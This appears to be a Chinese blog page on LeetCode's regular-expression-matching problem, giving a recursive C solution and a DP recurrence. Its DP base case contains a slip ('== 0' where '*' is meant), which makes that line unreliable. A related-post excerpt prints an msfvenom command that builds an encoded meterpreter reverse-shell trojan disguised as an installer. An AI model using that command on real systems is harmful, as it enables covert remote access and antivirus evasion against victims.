Regular Expression Matching[leetcode]直接匹配和DP

Endnote 导入参考文献的时候,格式错误太多了。et.al错误,国标GBT7714在endnote中的详细配置教程,适用于本科,硕士论文文献插入的模板 EndNote插入文献常遇到以下错误主要如下: 等、et al不分; 英文作者全名大写; 期刊名字使用了缩写(图片里没有体现;卷号、期号缺失时出现乱码,多了半个括号;页码范围略去了相同部分;没有悬挂缩进,本文全部解决,全网最细 阅读详情
直接匹配
bool isMatch(const char *s, const char *p) {
        if (p[0] == '\0')
            return s[0] == '\0';
        if (strlen(p) > 1 && p[1] == '*')
        {
            if (isMatch(s, p+2)) return true;
            while(s[0] != '\0' && (s[0] == p[0] || p[0] == '.'))
            {
                if (isMatch(++s, p+2)) return true;
            }
            return false;
        }
        
        if (s[0] != '\0' && (s[0] == p[0] || p[0] == '.'))
            return isMatch(++s, ++p);
        return false;
    }


DP

dp(i,j)代表s[0...i-1]和p[0...j-1]的是否匹配

基本情况:

dp(0,0) = true

dp(i,0) = false

dp(0,j) = p[j-1] == 0 && dp(0,j-2) ==>p为a*b*这样的情况

一般情况dp(i,j):

1. dp(i-1,j-1) && ( s[i-1] == p[j-1] || p[j-1] == '.')

2. dp(i-1,j) && p[j-1]=='*' && ( s[i-1] == p[j-2] || p[j-2] == '.')

3. dp(i,j-1) && p[j-1]=='*' && ( s[i-1] == p[j-2] || p[j-2] == '.')

2,3合起来可以模拟a*匹配多个a的情况,也可以用 dp(i-1,j) || dp(i-2,j) || ....模拟

4. dp(i,j-2) && p[j-1]=='*' 

a*匹配空字符串


告别ROS1!在Ubuntu 22.04上为VINS-Fusion适配ROS2 Humble的完整踩坑记录 本文详细记录了在Ubuntu 22.04上将VINS-Fusion从ROS1迁移到ROS2 Humble的完整过程,包括环境搭建、依赖管理、核心代码适配及性能优化。通过实战案例调试技巧,帮助开发者高效解决迁移过程中的常见问题,提升系统稳定性性能。 阅读详情

相关推荐

【渗透测试笔记】之【钓鱼姿势——exe捆绑与免杀】

准备被捆绑程序: 输入:msfvenom -p windows/meterpreter/reverse_http lhost=x.x.x.x lport=55555 -e x86/shikata_ga_nai -i 15 -f exe -b '\x00\x0a\x0d' -x ~/Desktop/inst.exe > ~/Desktop/Trojan/test_msf_360.exe 目标主机执行,成功上线: ...

AA8j的博客 7562

10. 正则表达式匹配Regular Expression Matching

10. 正则表达式匹配Regular Expression Matching)题解递归复杂度分析PythonJava(待完成)动态规划法复杂度分析PythonJava(待完成) 题解 递归 递归函数isMatch(s,p)isMatch(s,p)isMatch(s,p),sss表示待匹配字符,ppp表示字符规律 若ppp为空,此时返回sss是否为空。表示若字符规律已经为空,若sss还不为空,此...

朱师傅的博客 524

AnolisOS网卡驱动源码编译与安装实战指南

本文提供了一份详尽的AnolisOS网卡驱动源码编译与安装实战指南。针对系统自带通用驱动不兼容导致网络无法使用的问题,文章从环境准备、源码获取、编译安装到新旧驱动替换与持久化配置,一步步解析了如何通过源码编译安装官方驱动,解决硬件兼容性问题,并确保驱动在系统重启后自动生效。

weixin_28358083的博客 289

10. Regular Expression Matching

题目描述(困难难度) 题目大意:判断两个字符是否可以匹配成功,成功则返回True,否则返回False。其中.可以匹配任意单个字符,*可以重复前面字符任意次数包括0次 解法一 递归 我们假设存在函数 isMatch,它告诉我们 text pattern 是否匹配 boolean isMatch ( String text, String pattern ) ; 思路:text patter...

猫敷雪 293

LeetCode 10. Regular Expression Matching, 正则表达式匹配 ,C#

前言 本文介绍了 LeetCode 第 10 题 , “Regular Expression Matching”, 也就是 “正则表达式匹配” 的问题. 本文使用 C# 语言完成题目,介绍了3种方法供大家参考,分别为 分段匹配法,回溯法,动态规划法。 题目 English LeetCode 10. Regular Expression Matching Given an input string ...

wf824284257的博客 814

10_Regular Expression Matching 动态规划之正则表达

动态规划之正则表达 本文转载于:https://github.com/labuladong/fucking-algorithm/blob/master/%E5%8A%A8%E6%80%81%E8%A7%84%E5%88%92%E7%B3%BB%E5%88%97/%E5%8A%A8%E6%80%81%E8%A7%84%E5%88%92%E4%B9%8B%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE.md 自己加了C++部分的代码,还有些个人注释; 正则表达式匹配是一个很精妙的算法,而

Kevin__Mei的博客 487

10. Regular Expression Matching正则表达式匹配Python

给定一个输入字符串s一个模板p,实现支持'.'的正则表达式匹配'*',p必须涵盖所有s中的字符串。 .;可以表示任何单一字符串 *:可以表示0个或者多个前一个字符 假设s由a-z字母组成,p由a-z.*组成 Input Output s='ab' p='.*' True(.=a,;*=.=任意字符=b) s='aab' p='c*a*b' True(p=c0aab) s='mississippi' p='mis*is*p*.' False(p=mi...

weixin_44516745的博客 361

[LeetCode]Regular Expression Matching、Wildcard Matching

Regular Expression Matching: Implement regular expression matching with support for '.' and '*'. '.' Matches any single character. '*' Matches zero or more of the preceding element. The matchin

a83610312的专栏 5746

LeetCode in Python 10. Regular Expression Matching (正则表达式匹配)

出现此类情况是因为我们不想选择p[j - 1],即p[j - 1]与对应位置的s[i - 1]不相等(需要注意的是这里的p[j - 1]不等于s[i - 1]包含两种情况,一是两者均为小写字母且不等,二是p[j - 1]不为‘.’)的小写字母或字符‘.’,则直接与s中对应位置比较即可,若相同则dp[i][j] == dp[i - 1][j - 1],这里需要注意字符‘.’可匹配任意字符,可归为p[i][j]==s[i][i]这类情况。出现此种情况是因为p[j - 1]与对应位置的s[i - 1]相等。

m0_45175452的博客 1620

leetcode题解:第10题Regular Expression Matching

https://leetcode-cn.com/problems/regular-expression-matching/ 分析 这道题的难点在于存在a*这样的组合,如何处理与这种组合匹配的字符数是很棘手的问题,例如: s = "aaa", p = "aa*" s = "baaa", p = "ba*" 第一个例子中a*匹配2个字符,第二个例子中a*匹配3个字符。可以看出,匹配的字符数不仅与s有关,还与p中组合前面的字符有关(后面也有可能)。如果是.*这样的组合,会更加麻烦。 我一开始的想法是用双指针分别

chenf1999的博客 311

LeetCode Regular Expression Matching

Implement regular expression matching with support for '.' and '*'.'.' Matches any single character.'*' Matches zero or more of the preceding element.The matching should cover the entire input string

Coding for Dreams 2596

[leetcode] Regular Expression Matching

题意:让我们实现正则表达式的isMatching函数,判断包含正则表达式的p是否能匹配上字符串s。其中p只包含两种特殊字符。.*,前者也可以匹配任意字符,后者可以重复前一个字符0~多次。 解法: 解法1,递归,分情况讨论 s,p长度都为0,则返回true s长度不为0,p长度为0,则返回false s长度为0,p长度不为0,这种情况下只有p的格式是cc才可以匹配,否则都为false。 两者...

nwpuxhld 670

Leetcode——Regular Expression Matching

题目描述 Given an input string (s) and a pattern §, implement regular expression matching with support for ‘.’ and ‘*’. 给定一个字符串s匹配的模板p,使用“.”“*”,实施正则表达式的匹配 ‘.’ Matches any single character. ‘*’ Matches zero or more of the preceding element. The matching shoul

Blackoutdragon的博客 452

Leetcode】10. Regular Expression Matching

考虑初始条件,空字符串可以空模式匹配,而非空字符串无法空模式匹配,所以。不合法,我们也应该返回false。一下子是看不出来的,需要在递推的过程中算出来。,只是为了将不合法的情形包含进去);出现,也就是那个整体匹配的一部分是。末字符匹配完之后,前面有可能还有。是个合法的模式串,应该有如果。如果这个整体按照出现大于等于。,这个整体匹配完之后,还需要。,因为那个整体是匹配大于等于。可以匹配其之前的字符重复。次来匹配,那么就要求或者。可以匹配任何单个字符,次来匹配,那么结果就是。如果这个整体按照出现。

数学、算法爱好者的博客 356

Leetcode 10 Regular Expression Matching (dp)

给出两个字符串s、p,'.'可以匹配任意一个字符,'*'可以将其前一个的字符重复任意次数,也可以重复0次(ab*可以表示ab、abb,也可以表示a),问是否可以匹配成功。 应该算是比较明显的动态规划吧,一看就猜是动态规划,不过leetcode是没有数据范围的,不知道比较暴力的方法能不能过。虽然很快看出来了,但是太久没写过dp了,调了好久才好。 好,说重点,我用dp[i][j]表示s的前i个p...

sheng4204的博客 259

LeetCode】10.Regular Expression Matching(Python)

Problem LeetCode 10: 正则表达式匹配 难度:hard 给定输入字符串模式(P),实现与“.”“”支持匹配的正则表达式。 “.”匹配任何单个字符。 “”与前面的单个元素零个或多个匹配匹配应该覆盖整个输入字符串(而不是部分)。 注: s可以为空,并且只包含小写字母a-z。 p可以为空,只包含小写字母a-z类似的字符。或者*。 例1: 输入:S=“AA”, P=“A” 输出...

E.W的博客 1445

LeetCode: Regular Expression Matching

Implement regular expression matching with support for '.' and '*'. '.' Matches any single character. '*' Matches zero or more of the preceding element. The matching should cover the entire input st

Tingmei的专栏 1万+

LeetCode —— Regular Expression Matching

链接:http://leetcode.com/onlinejudge#question_10 原题: Implement regular expression matching with support for '.' and '*'. '.' Matches any single character. '*' Matches zero or more of the preceding

niaokedaoren的专栏 1191

LeetCode 10.Regular Expression Matching 正则匹配

LeetCode 10 . Regular Expression Matching 正则匹配 10. Regular Expression Matching Given an input string (s) and a pattern (p), implement regular expression matching with support for '.' and '*'. '.' Mat...

goasleep的博客 268

Leetcode10. Regular Expression Matching DP问题

class Solution { public boolean isMatch(String text, String pattern) { if (pattern.isEmpty()) return text.isEmpty(); boolean first_match = (!text.isEmpty() && ...

weixin_43919639的博客 212

【todo+低频题】LeetCode 10. Regular Expression Matching

LeetCode 10. Regular Expression Matching 本博客参考:http://www.cnblogs.com/grandyang/p/4461713.html 详细解析见另一题:【重点】剑指offer——面试题53:正则表达式匹配里面的代码风格是C的,现在把它改成C++风格的代码。在剑指offer53题的代码中,由于代码风格的原因,未考虑p.size() == 1...

Allenlzcoder的博客 1297

高速国道省道铁路县道乡道.zip

全国

IOS10.3.3SHSH

IOS10.3.3SHSH备用防下架

上一篇: Container With Most Water [leetcode]
下一篇: 3Sum[leetcode]
圆形毕露
博客等级 码龄17年 20粉丝 103原创
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值